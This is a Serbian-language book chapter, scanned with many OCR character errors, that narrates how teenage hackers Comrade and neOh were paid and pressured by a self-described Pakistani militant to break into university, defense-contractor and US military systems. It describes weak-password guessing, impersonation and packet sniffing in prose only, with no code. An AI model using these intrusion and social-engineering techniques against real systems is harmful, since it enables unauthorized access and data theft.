Poglavije 2

Kad teroristi pozovu

Ne znam zasto sam nastavio s tim. Zbog opsesivne prirode? Zedi
za novcem? Zudnje za moci? Mogao bih nabrojati mnogo razloga.

- neOh

vadesetogodisnji haker koji se potpisuje kao Comrade (Drug)

ovih dana provodi vreme u kuéi u finom kraju Majamija, koja

pripada njemu i njegovom bratu. Otac Zivi s njima, ali samo
zato $to je brat jo§ uvek maloletan, a Sluzba za brigu o deci zahteva da
odrasla osoba zivi u ku¢i dok decak ne napuni 18. Bradi to ne smeta, a
tata ima svoj stan na drugom mestu, i preselide se u njega kad za to
dode vreme.

Comradeova mama je umrla pre dve godine i ostavila kucu sinovima
jer su ona i njihov otac bili razvedeni. Ostavila im je i nesto gotovine.
Njegov brat ide u srednju $kolu, a Comrade ,samo visi po kraju®. Vedi
deo porodice to ne odobrava, ali on kaze da ga ,uopste nije briga“. Kada
vrlo mladi dospete u zatvor — zapravo, ako ste najmlada osoba koja je
ikada osudena kao haker na osnovu federalne optuznice — iskustvo ée
verovatno promeniti vas sistem vrednosti.

Naravno, hakerisanje ne poznaje medunarodne granice, pa nije ¢ud-
no $to je Comradeov prijatelj haker, neOh (nio), otprilike 4.500 km da-
leko. Hakerisanje ih je zbliZilo i skrenulo ih na stranputicu koja je,
ispostavilo se, vodila sluZenju interesima medunarodnog terorizma pre-
ko upada u veoma osetljive ra¢unarske sisteme. Danas nije lako nositi se
s tim teretom.
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Godinu dana stariji od Comradea, neOh kaze: ,Koristio sam racu-
nare otkad sam mogao da dohvatim tastaturu®. Njegov otac je imao
prodavnicu racunarske opreme i vodio je decaka sa sobom na sastanke s
klijentima. Deéak je sedeo na ocevom krilu tokom prodaje. Do svoje je-
danaeste godine ved je pisao dBase kdd za potrebe ocevog posla.

U meduvremenu, neOh je nai$ao na kopiju knjige Zakedown (Hyperi-
on Press, 1996) — veoma netacan opis mojih hakerskih akcija, moje tri
godine u bekstvu, i potrage FBI-ja za mnom. neOh je bio oaran knjigom:

Inspirisao si me. 11 si bio moj j_ni mentor. Procitao sam sve o
onome $to si radio. Hteo sam da postanem slavan kao ti.

To ga je motivisalo da postane haker. Svoju sobu je opremio racu-
narima, razvodnicima za umrezavanje, gusarskom zastavom dugom dva
metra i — krenuo mojim stopama.

neOh je poceo da stice solidno hakersko znanje i sposobnosti. Prvo je
stekao vestine, a diskrecija je dosla kasnije. Koriste¢i hakerski termin za
klince pocetnike, objasnio je: ,Dok sam pisao decje skriptove, menjao
sam mati¢ne strane Web prezentacija i ostavljao svoju adresu e-poste.”

Visio je na IRC prezentacijama (engl. Internet Relay Chat, interaktivni
razgovor na Internetu) — elektronskim pricaonicama u kojima se srecu
ljudi sa zajedni¢kim interesovanjima i u realnom vremenu razmenjuju
poruke o pecanju, starim avionima, kuénim pivarama, ili bilo kojoj od
hiljada drugih tema, uklju¢ujudi i hakerisanje. Kada na IRC prezentaciji
unesete tekst, svi koji su u to vreme na mrezi videce $ta ste napisali i
mogu vam odgovoriti. Mada to mnogi redovni korisnici IRC-a ne znaju,
komunikacija se lako moze evidentirati. Te evidencije dosad verovatno
sadrze skoro isti broj re¢i kao sve knjige u Kongresnoj biblioteci — a do
teksta upisanog u Zurbi, bez previse razmisljanja o posledicama, moze se
dodi godinama kasnije.

Comrade i neOh su provodili vreme na nekoliko istih IRC prezentaci-
ja i tako se rodilo prijateljstvo na daljinu. Hakeri se ¢esto udruzuju radi
razmenjivanja informacija ili izvodenja grupnih napada. neOh, Comrade
i jo§ jedan klinac odludili su da naprave sopstvenu grupu koju su nazvali
»Keebler Elves®. Jos nekoliko hakera je imalo pristup razgovorima grupe,
ali tri prva ¢lana nisu ostalima govorili o svojim napadima. ,,Provaljivali
smo u vladine prezentacije radi zabave®, rekao je Comrade. Procenjuje
da su provalili u ,par stotina“ navodno zasticenih vladinih prezentacija.



Razli¢ite grupe hakera okupljaju se na nekoliko IRC kanala. Medu
njima se izdvaja mreza Efnet. To je prezentacija koju Comrade opisuje
kao ,ne bas kompjutersko podzemlje — to je prili¢no velika grupa serve-
ra“. Ali, na Efnetu je bilo nekih manje poznatih kanala, mesta koja niste
mogli sami da pronadete, ve¢ je za njih morao da vam kaze drugi haker
&ije ste poverenje zadobili. Ti kanali su, kaze Comrade, bili ,prili¢no
ilegalni®.

Terorista Kalid baca mamac

Oko 1998, na tim ,prili¢no ilegalnim“ kanalima, Comrade je poceo da
nailazi na razgovore o tipu koji se ,motao unaokolo®, a predstavljao se
kao RahulB. (Kasnije je koristio i identifikaciju Rama3456). ,,Svima je
bilo poznato da je on trazio hakere koji ¢e upadati u vladine i vojne ra-
¢unare — prezentacije .gov i .mil“, kaze Comrade. ,Kruzile su glasine da
je on radio za Bin Ladena. To je bilo pre 11. septembra, pa Bin Laden
nije bilo ime koje ste mogli svaki dan ¢uti u vestima.“

Na kraju su se Comradeovi putevi ukrstili s putevima tajanstvenog ¢o-
veka koji ée mu se predstaviti kao Kalid Ibrahim. ,,Razgovarao sam s njim
nekoliko minuta [na IRC-u] i jednom smo pricali telefonom.“ Covek je
imao strani akcenat i ,definitivno je zvucalo kao da zove iz inostranstva“.

I neOh je stupio s njim u vezu. Kalid je s njim bio direkeniji i otvo-
reniji.

Oko 1999, sa mnom je putem e-poste u kontakt stupio covek
koji je rekao da je militantni aktivista i da se nalazi u Pakista-
nu. Predstavio se kao Kalid Ibrahim. Rekao mi je da je radio
za pakistanske militantne grupe.

Da li bi neko u potrazi za naivnim klincima hakerima zaista sebe obe-
lezio kao teroristu — ¢ak i pre 11. septembra? Na prvi pogled to zvudi
apsurdno. Taj ¢ovek je kasnije tvrdio da je i8ao u $kolu u SAD, da se i
saim pomalo bavio hakerisanjem, i da se povezao s hakerima dok je bio u
Americi. U tom slucaju, on je mogao znati, ili je mislio da zna, kako ha-
keri razmisljaju. Svaki haker je do neke mere buntovnik koji zivi po
razli¢itim standardima i uziva u savladavanju sistema. Ako hocete da pri-
vucete hakera, mozda i nije tako glupo objaviti da i sami krSite pravila i
da ste autsajder. Mozda bi pri¢a upravo tako postala uverljivija, a poten-
cijalni saucesnici manje oprezni i sumnjicavi.
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A bilo je tu i novca. neOh je od Kalida dobio ponudu od 1.000 dolara
da upadne u rac¢unarske mreze jednog kineskog univerziteta — mesto
koje neOh naziva ,.kineski MIT* (MIT — Tehnoloski institut Masacuset-
sa) — 1 iz baze nabavi podatke o studentima. Pretpostavio je da je to test i
za njegove hakerske sposobnosti i za njegovu genijalnost: kako da upad-
nete u racunarski sistem kada ne umete da ¢itate jezik? I jos teze: kako da
se lazno predstavite kada ne govorite jezik?

Ispostavilo se da jezik nije nikakva prepreka za nekog kao $to je neOh.
Poceo je da boravi na IRC prezentacijama koje je koristila hakerska
grupa globalLheLL i preko te grupe se povezao sa studentom racunar-
skih nauka na kineskom univerzitetu. Povezao se s njim i zatrazio neko-
liko korisnickih imena i lozinki. Informacije za prijavljivanje stigle su
ubrzo zatim, po sistemu haker hakeru, bez postavljanja pitanja. neOh je
otkrio da je bezbednost ra¢unara na univerzitetu bila slaba do uzasna, sto
je narocito neobi¢no za tehnicki univerzitet za koji bi se oc¢ekivalo da
moze mnogo bolje. Vedina studenata imala je lozinke iste kao korisnicka
imena — istu re¢ ili frazu.

Kratka lista koju je student dostavio bila je dovoljna da neOh dobije
pristup kako bi mogao da po¢ne elektronsko ,,njuskanje”. Tako je otkrio
studenta — zvademo ga Ceng — koji je pristupao FTP prezentacijama
(za preuzimanje podataka) u SAD. Medu tim FTP lokacijama, bila je i
swarez" prezentacija — mesto za preuzimanje piratskog softvera. Koriste¢i
standardan trik laznog predstavljanja, neOh je skitao po mrezi fakulteta i
skupljao lokalni studentski zargon. To je bilo lakse nego sto se ¢ini jer
,oni uglavnom govore engleski, kaze neOh. Sa Cengom se povezao pre-
ko naloga koji je omogudio da sve izgleda kao da mu neOh $alje poruke
iz laboratorije za ra¢unarske nauke na fakultetu.

,Ja sam iz Bloka 213, elektronski je rekao Cengu, i direktno mu
zatrazio imena studenata i adrese e-poste, kao §to bi uradio svaki drugi
student zainteresovan za kontakt s kolegama. Posto je vecina lozinki
bila jednostavna, ulazak u studentske datoteke nije iziskivao previse
mozganja.

Vilo brzo mogao je da isporuci Kalidu podatke iz baze o otprilike sto
studenata. ,Dao sam mu to, a on je rekao: "Imam sve $to mi treba’.“ Ka-
lid je bio zadovoljan. Ocigledno mu ta imena uopste nisu trebala, samo
je hteo da vidi moZe li neOh zaista da pribavi informacije iz tako udalje-
nog izvora. ,Otprilike tada je pocela nasa veza“, kaze neOh. ,Mogao sam
da obavim posao, on je to znao, i poceo je da mi daje druge zadatke.”



Rekavsi da ¢e mu ugovorenih hiljadu dolara poslati postom, Kalid je
poceo da zivka mobilnim otprilike jednom nedeljno, kako kaze neOh,
,~obi¢no dok je vozio®. Slede¢i zadatak bio je upad u racunarski sistem
indijskog Centra za istrazivanje atomske energije (Bhabha Atomic Re-
search Center). Centar je koristio radnu stanicu Sun koja je poznata
svim hakerima. neOh je lako usao u nju, ali je otkrio da masina ne sadrzi
nikakve zanimljive informacije i da je samostalna — nije povezana ni sa
jednom mrezom. Kalid nije delovao zabrinuto zbog neuspeha.

U meduvremenu, novac za upad u kineski univerzitet nije stigao.
Kada je neOh pitao za njega, Kalid se iznervirao. ,Nisi ga dobio? Poslao
sam ti ke$ u rodendanskoj &estitki!®, tvrdio je. Bila je to otrcana fraza:
»Poslali smo ¢ek postom®, ali je neOh ipak rado nastavio da prihvata
zadatke. Zasto? Danas odgovor na to trazi introspekcijom.

Nastavio sam jer sam tvrdoglav. Uzbudivala me je pomisao da
Cu biti placen za to $to radim. I mislio sam: ,,MoZda se novac
stvarno usput zaturio, mozda ¢e mi ovaj put platiti.

Ne znam zasto sam nastavio s tim. Zbog opsesivne prirode?
Zedi za novcem? Zudnje za moci? Mogao bih nabrojati mnogo
razloga.

U isto vreme dok je dodeljivao zadatke da ih neOh resava, Kalid je
krstario IRC prezentacijama traze¢i druge zainteresovane igrace. Com-
rade je bio zainteresovan, mada je bio oprezan kada je trebalo prihvatiti
novac.

Koliko sam shvatio, on je placao ljudima, ali ja nikada nisam
hteo da mu dam svoje podatke kako bih primio novac. Pomi-
slio sam — to $to ja radim samo je razgledange, ali ako pocnem
da primam pare, postacu pravi kriminalac. S njim sam uglav-
nom razgovarao preko IRC-a i s vremena na vreme mu doba-
civao poneku datoteku sa IP adresama sistema.

Novinar Nil Makaj razgovarao je s jo§ jednom ribom koju je Kalid
upecao u svoju mrezu — tinejdzerom iz Kalifornije ¢ija je identifikacija
bila Kameleon (Chameleon), i koji je danas suosniva¢ uspesne kompani-
je za bezbednost. Pri¢a koju je Makaj objavio na prezentaciji wired.com',
poklapala se sa detaljima koje su ispri¢ali neOh i Comrade. ,Jedne noci
sam bio na IRC-u kada je taj tip rekao da mu treba DEM softver. Ja ga
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nisam imao i samo sam se izmotavao s njim®, tvrdio je haker. Kalid se u
to vreme vec uozbiljio: ,DEM® je skracenica za Defense Information Sy-
stems Network Equipment Manager — softver za mreZe koji je koristila
vojska. Program je skinula grupa hakera Masters of Downloading, i
kruzile su glasine da do njega mozete dodi ako ga zatrazite od prave oso-
be. Niko ne zna da li se Kalid ikada do¢epao tog programa — ili bar niko
nede da prizna. Zapravo, nije potpuno sigurno ni da bi mu taj softver ista
vredeo — ali on je ocigledno mislio da bi. Kalid je zavrsio svoje igre s ki-
neskim univerzitetima i sli¢nim sitnim poslovima.

»Pokusao je da se ukljuci u ono $to su momeci u grupi radili®, pricao
nam je neOh. Kalid se javljao hakerima tokom godinu i po dana: ,Nije
bio neko ko bi se sporadi¢no pojavljivao, javljao se redovno. Bio je tu i
svi su znali da je to njegova stvar®. Kada kaze ,njegova stvar, neOh mi-
sli na upadanje u vojne prezentacije ili ra¢unarske sisteme komercijal-
nih kompanija koje rade na vojnim projektima.

Kalid je trazio da neOh upadne u Lockheed Martin i nabavi Seme
odredenih avionskih sistema koji su se u toj kompaniji pravili za Boing.
neOh je uspeo da delimi¢no prodre u Lockheed, ,0ko tri koraka u unu-
trasnju mrezu®, ali nije uspeo da ode dublje od dva servera (dosao je do
nivoa koji ljudi iz bezbednosti nazivaju ,demilitarizovana zona® ili
»~DMZ — ni¢ija zemlja). To nije bilo dovoljno da prode barijere koje su
stitile najosetljivije korporacijske podatke, i nije mogao da pronade za-
htevane informacije.

[Kalid] se razdrazio. Otprilike je rekao: ,, Vise ne radis za me-
ne. Ne mozes nista da obavis“. Ali onda me je optuzio da sam
zadrzao informacije za sebe.

Potom je rekao: ,Zaboravi Lockheed Martin. 1di direktno na
Boing.”

neOh je otkrio da Boing ,nije toliko obezbeden, ako se dovoljno
potrudite®. On je upao iskoristivsi poznatu slabost Boingovog sistema —
izlozenost Internetu. Posto je instalirao ,njuskalo® (program za nadgle-
danje protoka podataka, engl. sziffer), mogao je da osluskuje sve pakete
podataka koji su ulazili u racunar i izlazili iz njega — program je radio
kao prislu$ni uredaj za ra¢unare. Tako je dosao do lozinki i nesifrovanih
e-poruka. Informacije koje je skrpio iz e-poruka otkrile su dovoljno
podataka za ulazak u internu mrezu.



Pronasao sam Sest ili sedam Sema za vrata i nos Boinga 747 —
samo prolazeci kroz tekstualne e-poruke. Ljudi su slali nesifro-
vane priloge uz poruke. Zar to nije sjajno?! (Tu se zasmejao.)

Kalid je bio ushicen. Rekao je da ée mi dati 4.000 dolara. To

se, naravno, nikada nije desilo.

Zapravo, 4.000 dolara bi bilo previse za te informacije. Sudedi po biv-
$em direktoru bezbednosti Boinga, Donu Belingu, ovaj upad se mozda
zaista desio kao $to je opisano. Medutim, on bi bio ¢isto gubljenje vre-
mena: kada nov tip aviona ude u eksploataciju, sve putnicke agencije do-
bijaju kompletne skupove Sema. U tom trenutku, te informacije se vise
ne smatraju osetljivim. Moze ih dobiti svako ko pozeli. ,Nedavno sam
na lokaciji eBay video i CD sa $emama za 747, rekao je Don. Naravno,
Kalid to verovatno nije znao. Proslo je dve godine dok nacija nije otkrila
da su neki teroristi imali jake razloge da Zele Seme glavnih putnickih
aviona koje koriste americke avionske kompanije.

Vecerasnja meta: SIPRNET
Kalid se nije trudio da Comradeu daje probne zadatke. Od samog po-
Cetka, pri¢a ovaj haker, Kalida ,su zanimali samo vojska i SIPRNET*.

On uglavnom nije konkretno govorio sta hoce — hteo je pristup
vladinim i vojnim prezentacijama. Osim kada je u pitanju

bio SIPRNET. Informacije sa SIPRNET-a je zaista Zeleo.

Nije ni ¢udo sto je Kalid Zudeo za tim podacima. Oni su verovatno
bili njegov cilj od samog pocetka. SIPRNET je deo mreze odbrambe-
nog informacionog sistema, DISN-a (engl. Defense Information System
Network), koji prenosi poverljive poruke. Stavise, SIPRNET (skraeni-
ca za Secret Internet Protocol Router Network) sada je srz komando-
vanja i kontrole u vojsci SAD.

neOh je ve¢ odbio Kalidovu ponudu da prodre u SIPRNET:

Ponudio je 2.000 dolara. Odbio sam ga. Da sam usao u SI-
PRNET, federalci bi mi zalas dosli na vrata. 2.000 dolara

nije vredno rupe u glavi.

Kada je Kalid razgovarao s Comradeom o tom zadatku, cena je sko-
¢ila. ,Mislim da je rekao da e platiti deset hiljada dolara za pristup®,
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priseca se Comrade. To je bila dobra pogodba ljudima koji se nisu sne-
bivali da prihvate projekte. Ipak, on tvrdi da ga je u iskusenje bacio iza-
70V, a ne novac.

U stvari, SIPRNET-u sam se dosta primakao. Usao sam u je-
dan ralunarski sistem uw DISA (Defense Information Security
Agency). Taj racunar je bio izuzetno dobar. Mislim da je imao
Cetiri procesora, oko 2.000 ljudi je imalo pristup, Unixova da-
toteka sa IP adresama imala je oko 5.000 razlititih servera, a
polovina je koristila privilegovane naloge. Morao si da budes
za tim ralunarom da bi mu pristupio — nisi to mogao da ura-

dis spolja.

Kako god da je to zakljucio, Comrade je ispravno slutio da je nabasao
na nesto bitno. Glavne misije DISA uklju¢uju zdruzenu komandu i kon-
trolu, i ra¢unarsku podrsku jedinicama u borbi — mudro preklapanje sa
funkcijama SIPRNET-a. Medutim, njegovi napori su saseceni.

Bilo je simpaticno imati sve te pristupe, ali nisam imao dovolj-
no vremena da se time poigram i uradim nesto. Ukebali su me
tri ili Cetiri dana kasnije.

Vreme za zabrinutost

Na Bozi¢ 1999, neOh i Comrade su doziveli Sok. Let IC-814 Indian
Airlinesa, na praveu Katmandu — Nju Delhi, sa 178 putnika i 11 ¢lano-
va posade, otet je u toku leta. Reporteri su javili da su otimaci bili paki-
stanski teroristi povezani s Talibanima. Teroristi kao §to je Kalid?

Pod komandom otmicara, Airbus A300 nastavio je cik-cak putanjom
do Srednjeg Istoka i nazad, nakratko sletevéi u Indiji, Pakistanu i Ujedi-
njenim Arapskim Emiratima, gde je izbaceno telo zaklanog putnika. Bio
je to mlad ¢ovek koji se sa tek ven¢anom suprugom vracao kudi s mede-
nog meseca. On je na smrt izboden jer je odbio da stavi povez na oci.

Avion je konaé¢no sleteo u Kandahar u Avganistanu — $to je dodatno
ukazivalo na vezu s Talibanima. Preostali putnici i posada zadrzani su u
avionu tokom osam dana ispunjenih terorom, i na kraju su pusteni u
zamenu za oslobadanje tri uhap$ena militanta. Jedan od oslobodenih
zatvorenika, Seik Umer, kasnije je pomogao u finansiranju Mohameda
Ate, vode napada na Svetski trgovinski centar 11. septembra.



Nakon otmice, neOh je saznao od Kalida da je njegova grupa odgo-
vorna i da je i on sim udestvovao u otmici.

Na smrt sam se uplasio. On je bio los. Osecao sam da moram
da saéuvam Zivu glavu.

Ali njegovu zabrinutost ublazavala je decacka pohlepa. ,I dalje sam
se nadao da ¢e mi isplatiti moj novac®, dodao je neOh.

Veza sa otmicom dolila je ulje na vatru koju je Kalid ranije zapalio.
U jednom trenutku, ocigledno iznerviran neuspesnim pokusajima ti-
nejdzera da mu pribave informacije koje je trazio, Kalid je pokusao s
taktikom visokog pritiska. Novinar Nil Makaj, u ranije navedenoj prici
za wired.com, napisao je da je video staru poruku na IRC-u koju je Ka-
lid poslao ovim mladi¢ima i u kojoj je pretio da ¢e ih ubiti ako ga prija-
ve Federalnom istraznom birou. Makaj je napisao da je video i sledecu
poruku od Pakistanca: ,Hoc¢u da znam: da li je [iko] pric¢ao federalcima
o meni?“ A na drugom mestu: ,Reci im [ako to urade] da su mrtvi. Na-
huskacu snajperiste na njih.*?

Comrade je uhapsen

Situacija je postala gusta, a uskoro ¢e se i pogorsati. Nekoliko dana posto
je Comrade uspeo da prodre u sistem povezan sa SIPRNET-om, nje-
govog oca je na putu do posla zaustavila policija. Rekli su mu: ,Hodemo
da razgovaramo s tvojim sinom®, i pokazali mu nalog za pretres. Comra-
de se priseca:

Bilo je tu ljudi iz NASA, Ministarstva odbrane, FBI-ja. Sve u
svemu, bilo je oko deset ili dvanaest agenata, i nekoliko polica-
jaca. Petljao sam po nekim Nasinim sandulicima, postavio
sam ,njuskalo” na ns3.gtra.mil da bih pokupio lozinke. Ali,
tako sam pokupio i e-poruke. Rekli su mi da sam zbog toga
optuzen za nelegalno prisluskivanje. A za Nasine racunare do-
bio sam krienje zasticenih prava. I druge stvari.

Samo dan ranije, prijatelj mi je rekao: ,, Covece, uskoro e nas
uhvatiti®. Odlepio je. Pomislio sam: ,U pravu je*. Zato sam
obrisao svoj disk.
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Medutim, Comrade nije bio temeljan pri ¢iséenju. ,Zaboravio sam
stare diskove koji su mi stajali na stolu.”

Ispitivali su me. Priznao sam. Rekao sam: ,Zao mi je. Evo $ta
sam uradio, evo kako cete popraviti, vise to necu raditi.“ A oni
su rekli, kao: , U redu, necemo te tretirati kao kriminalca. Ne-
moj to vise da radis. Ako to ponovo uradis, ne ginu ti lisice.
Spakovali su moje racunare, periferne uredaje i rezervne di-
skove, i otisli.

Kasnije su pokusali da nateraju Comradea da im kaze lozinku za svo-
je Sifrovane diskove. Kada je odbio, rekli su da znaju kako da ih provale.
Comrade je mislio da ne mogu: koristio je PGP Sifrovanje i lozinka mu
je bila ,duga oko sto znakova“. Ipak, on tvrdi da nije bila teska za
pamdenje — bila su to njegova tri omiljena citata spojena u niz.

Oko $est meseci nije imao kontakra s policijom. A onda je jednog
dana ¢uo da ée vlada podneti tuzbu. Do trenutka kada je dospeo na sud,
bio je optuzen za, kako je tuzilac tvrdio, tronedeljno iskljucivanje Nasi-
nih ra¢unara i presretanje hiljada poruka unutar Ministarstva odbrane.

(Kao $to i sim vrlo dobro znam, ,,$teta“ koju tuzioci navode i stvarna
steta ponekad su veoma razli¢ite. Comrade je iz Nasinog centra Marshall
Space Flight u Alabami preuzeo softver koji se koristi za kontrolisanje
temperature i vlaznosti u medunarodnoj svemirskoj stanici. Vlada je tvr-
dila da je zbog toga morala da na tri nedelje isklju¢i odredene racunarske
sisteme. Napad na Ministarstvo odbrane pruzio je realisti¢niji razlog za
brigu: Comrade je provalio u ra¢unarski sistem Odbrambene agencije za
ublazavanje pretnji (engl. Defense Threat Reduction Agency) i instalirao
s<zadnja vrata“ koja su mu omogudila pristup u bilo koje vreme.)

Vlada je ocigledno ovaj slucaj smatrala bitnim za upozoravanje osta-
lih hakera tinejdzera. U medijima je sudenju posvedena velika paznja i
Comrade je proglasen najmladom osobom koja je ikada osudena za ha-
kerisanje kao federalni zlo¢in. Glavni tuzilac DZenet Rino je ¢ak dala iz-
javu u kojoj kaze: ,,Ovaj slucaj, u kom ¢e prvi put maloletni haker
sluZiti zatvorsku kaznu, pokazuje da ozbiljno shvatamo racunarske upa-
de i da sa svojim partnerima iz kriminalisticke sluzbe radimo na agresiv-
noj borbi protiv ovih pojava®“.



Sudija je Comradea osudio na Sest meseci zatvora i $est meseci uslov-
ne kazne, s poc¢etkom nakon zavrsetka polugodista. Comradeova majka
je tada jo§ bila Ziva. AngaZovala je novog advokata, napisala mnogo pi-
sama, sudiji je prikazala ,potpuno nov slu¢aj i, za divno ¢udo, uspela
da smanji kaznu na kuéni pritvor i potom Eetiri godine uslovne kazne.

Ponekad u Zivotu ne koristimo $anse koje nam se pruzaju. ,,OdsluZio
sam kuéni pritvor i u toku je bila uslovna kazna. Razne stvari su se desile,
poceo sam previse da se zabavljam, pa su me poslali na rehabilitaciju.”
Kada je rehabilitacija prosla, Comrade se zaposlio u Internet kompaniji i
zapoceo sopstveni posao sa Internetom. Medutim, on i sluzbenik za us-
lovnu kaznu nisu su previse vidali, pa je Comrade na kraju ipak otisao u
zatvor. Imao je samo Sesnaest godina, a zatvoren je za dela koja je pocinio
kada je imao petnaest.

U federalnom kaznenom sistemu nema tako mnogo maloletnika.
Ispostavilo se da su ga poslali u ,kamp® (prava re¢ za to mesto) u Alaba-
mi, u kom je bilo samo deset zatvorenika. Comrade za kamp kaze da je
yvise nalik $koli — zaklju¢ana vrata i ograda od bodljikave zice, ali inace
nije imalo mnogo veze sa zatvorom*“. Cak nije morao da ide na &asove
jer je vec zavrsio srednju skolu.

Kada se vratio u Majami i na sluzenje uslovne kazne, Comrade je do-
bio spisak hakera s kojima ne sme da razgovara. ,Na listi je pisalo, ovaj
tip, onaj tip i — neOh.“ Samo ,neOh” — federalna vlada ga je znala samo
po identifikaciji. ,,Nisu imali pojma ko je on. Ako sam ja imao pristup
do dve stotine stvari, on je imao pristup do hiljadu®, kaze Comrade.
»neOh je bio prili¢no vest.“ Koliko oni znaju, krivi¢ni organi jo§ uvek
nisu uspeli da otkriju njegovo ime ili lokaciju.

Ispitivanje Kalida

Da li je Kalid bio militant kao $to je tvrdio, ili samo prevarant koji je
manipulisao tinejdzerima? Ili je to mozda bila operacija Federalnog istra-
znog biroa kojom su isprobavali koliko daleko su mladi hakeri voljni da
idu? Pre ili kasnije, svaki haker koji je imao posla s Kalidom posumnjao
je da on nije zaista bio militantni aktivista. Cini se da ih je pomisao da su
informacije davali stranom agentu mucila manje od moguénosti da ih je
taj tip samo navukao. Comrade kaze da se ,najvise pitao $ta je [Kalid]
bio. Nisam znao da li je federalac ili je bio ono $to je tvrdio. Na osnovu
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razgovora koji su vodili neOh i Kalid, zaklju¢io sam da ne laze. Ali nikada
od njega nisam uzeo novac — to je bila granica koju nisam hteo da
predem.” (Ranije u razgovoru, kada je prvi put pomenuo deset hiljada
dolara koje je Kalid ponudio, Comrade je zvu¢ao impresioniran sumom.
Da li bi odbio novac ukoliko bi njegovi pokusaji bili uspesni, a Kalid mu
zaista platio? Mozda ni sam Comrade ne zna da odgovori na to pitanje.)
neOh kaze da je Kalid ,zvucao potpuno profesionalno® ali priznaje
da se povremeno pitao je li ovaj zaista militantni aktivista. ,Sve vreme
dok sam razgovarao s njim, mislio sam da previ$e baljezga. Ali nakon
istrazivanja s prijateljima koji su s njim razgovarali i kojima je davao
druge informacije, zakljudili smo da je zaista bio ono $to je tvrdio.”

Haker SavecOre je na IRC-u sreo nekoga ko je rekao da u FBI ima
strica koji bi mogao da sredi imunitet za celu hakersku grupu Mil-
wOrm. ,Mislim da bismo time poslali poruku FBI-ju da nismo neprija-
teljski nastrojeni®, SavecOre je rekao Makaju u intervjuu putem e-poste.
»Dao sam mu moj broj telefona. Slededeg dana me je pozvao navodni
FBI agent sa zacudujude jakim pakistanskim akcentom.®

»Rekao je da se zove Majkl Gordon i da je radio za FBI u Vasingto-
nu“, SavecOre je ispri¢ao novinaru. ,Shvatio sam da je to sve vreme bio
Ibrahim.“ Mada su se neki ljudi pitali da li je navodni terorista bio tajni
agent Federalnog istraznog biroa, SavecOre je dosao do suprotnog za-
kljucka: da je tip koji je tvrdio da je FBI agent u stvari isti terorista koji je
pokusavao da vidi jesu li su momci spremni da propevaju o njemu.

Ideja da je to mozda bila operacija FBI-ja nema ¢vrste osnove. Uko-
liko je federalna vlada htela da otkrije za $ta su ovi klinci sposobni i ko-
liko daleko su spremni da idu, obecani novac bi stigao. Kada FBI
pomisli da je situacija dovoljno ozbiljna da zahteva angazovanje tajnog
agenta, oni u taj trud ulazu novac. Neverovatno bi bilo da su obecali
1000 dolara, a da to nisu platili.

Izgleda da je samo jedan haker zaista dobio novac od Kalida — Ka-
meleon. ,Jedno jutro sam otisao do sandudeta i u njemu je bio ¢ek na
hiljadu dolara s brojem koji treba da pozovem u Bostonu®, ispricao je
Kameleon u pri¢i za Wired News (4. novembra 1998). Kalid je saznao
da on ima mape vladine rac¢unarske mreze — &ek je bio uplata za te
mape. Kameleon je unovcio ¢ek. Dve nedelje kasnije FBI mu je upao u
kucu i ispitivao ga o isplati, $to pokrece zanimljivo pitanje o tome kako
je vlada saznala za tih hiljadu dolara. To se desilo pre 11. septembra,



dok se FBI fokusirao na domaci kriminal i slabo pratio teroristicke pret-
nje. Kameleon je priznao da je uzeo novac, ali je novinaru Wired Newsa
tvrdio da nije dao nikakve mape vladine mreze.

Mada je Kameleon priznao da je uzeo novac od stranog teroriste, za
$ta bi mogao biti optuzen za $pijunazu i dobiti veoma dugu zatvorsku
kaznu, nikakva optuznica nije bila podignuta — $to dalje produbljuje
misteriju. MoZda je vlada samo htela da se po hakerskoj zajednici pro-
¢uje da saradivanje sa stranim agentima moze biti rizi¢no. Mozda éek i
nije bio od Kalida, ve¢ od FBI-ja.

Samo nekoliko ljudi zna Kameleonov pravi identitet, i on bi voleo
da tako i ostane. Hteli smo da ¢ujemo njegovu verziju pric¢e. Odbio je
da govori o tome (samo pomenuvisi kako je mislio da je Kalid u stvari
federalac koji se predstavlja kao terorista). Da sam na njegovom mestu,
ni ja ne bih hteo da me intervjuisu na tu temu.

Organizacija Harkat ul-Mudzahedin

Dok je pretrazivao dnevnike interaktivnih razgovora na Internetu, no-
vinar Makaj je otkrio da se Kalid jednom prilikom predstavio mladim
hakerima kao ¢lan organizacije Harkat-ul-Ansar®. Sudeci po Pregledu
obavestajne sluzbe Juzne Azije (South Asia Intelligence Review), ,SAD
su proglasile Harkat-ul-Ansar teroristickom organizacijom zbog njihove
veze s proteranim saudijskim teroristom Osamom Bin Ladenom 1997.
Da bi se izbegle posledice americke zabrane, grupa je 1998. promenila
ime u Harkat ul-Mudsahedin.“*

Ministarstvo inostranih poslova SAD iznova je upozoravalo na tu
grupu. Jedna njihova objava kaze: ,, Pakistanski zvani¢nici su izjavili da su
u americkim vazdusnim napadima 23. oktobra [2001] ubijena 22 pa-
kistanska gerilca koji su se borili uz Talibane u blizini Kabula. Poginuli
su bili ¢lanovi organizacije Harkat ul-Mudzahedin... [koju] je Ministar-
stvo inostranih poslova postavilo na zvani¢nu listu teroristickih organi-
zacija 1995.°

Zapravo, Harkat je danas jedna od trideset Sest grupa koje su u SAD
oznacene kao strane teroristicke organizacije. Americka vlada ih, dru-
gim re¢ima, smatra najgorim ljudima na kugli zemaljskoj.

Naravno, mladi hakeri to nisu znali. Za njih je sve bila samo igra.

Govoredi u aprilu 2002. o bezbednosti informacija, general-major
indijskih vojnih snaga, potvrdio je da je Kalid terorista, ispricavsi o
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hakerskim vezama sa ,,Kalidom Ibrahimom iz organizacije Harkat-ul-
Ansar smestene u Pakistanu“.® General se, medutim, pribojavao da Ka-
lid nije u Pakistanu ve¢ u Delhiju, u Indiji.

Posledice 11. septembra
Neki hakeri manipulidu i obmanjuju. Oni varaju racunarske sisteme
navodedi ih da pomisle kako imaju ovlaséenja koja su zapravo ukrali.
Oni vezbaju lazno predstavljanje da bi manipulisali ljudima i postigli
svoje ciljeve. Sve to znaci da, kada govorite s hakerom, morate slusati
pazljivo i utvrditi da li ono $to vam govori, i na¢in na koji to govori,
zvuci uverljivo. Ponekad prosto nedete biti sigurni.

Koautor ove knjige i ja nismo bili sigurni u ono $to nam je neOh re-
kao o svojoj reakciji na 11. septembar. Poverovali smo mu toliko da vam
prenesemo njegovu izjavu.

Znate li koliko sam plakao tog dana? Bio sam siguran da je go-

tovo s mojim Zivotom.

Te reéi je propratio ¢udnim, nervoznim smehom — s kojim znade-
njem? Nismo mogli da odredimo.

